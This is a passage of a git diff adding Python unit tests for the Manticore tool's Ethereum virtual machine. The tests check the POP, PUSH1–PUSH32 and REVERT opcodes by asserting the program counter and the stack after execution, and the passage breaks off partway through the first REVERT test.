+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_POP_9(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='P'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/tests/EVM/test_EVMPUSH.py b/tests/EVM/test_EVMPUSH.py
new file mode 100644
index 0000000..9bb2782
--- /dev/null
+++ b/tests/EVM/test_EVMPUSH.py
@@ -0,0 +1,870 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_PUSH(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_PUSH_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='`'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 2)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_PUSH_2(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 3)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_PUSH_3(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 4)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_PUSH_4(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='c'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 5)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_PUSH_5(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='d'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 6)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_PUSH_6(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='e'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 7)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_PUSH_7(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='f'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 8)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_PUSH_8(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='g'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 9)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_PUSH_9(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='h'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 10)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_PUSH_10(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='i'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 11)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_PUSH_11(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='j'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 12)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_PUSH_12(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='k'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 13)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_PUSH_13(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='l'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 14)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_PUSH_14(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='m'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 15)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_PUSH_15(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 16)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_PUSH_16(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='o'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 17)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_PUSH_17(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='p'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 18)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_PUSH_18(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='q'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 19)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_PUSH_19(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='r'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 20)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_PUSH_20(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='s'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 21)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_PUSH_21(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 22)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_PUSH_22(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='u'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 23)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_PUSH_23(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='v'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 24)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_PUSH_24(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='w'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 25)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_PUSH_25(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='x'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 26)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_PUSH_26(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='y'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 27)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_PUSH_27(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='z'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 28)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_PUSH_28(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='{'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 29)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_PUSH_29(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='|'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 30)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_PUSH_30(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='}'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 31)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_PUSH_31(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='~'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 32)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_PUSH_32(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x7f'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 33)
+            self.assertEqual(new_vm.stack, [0])
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/tests/EVM/test_EVMREVERT.py b/tests/EVM/test_EVMREVERT.py
new file mode 100644
index 0000000..b388831
--- /dev/null
+++ b/tests/EVM/test_EVMREVERT.py
@@ -0,0 +1,326 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_REVERT(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_REVERT_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\xfd'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
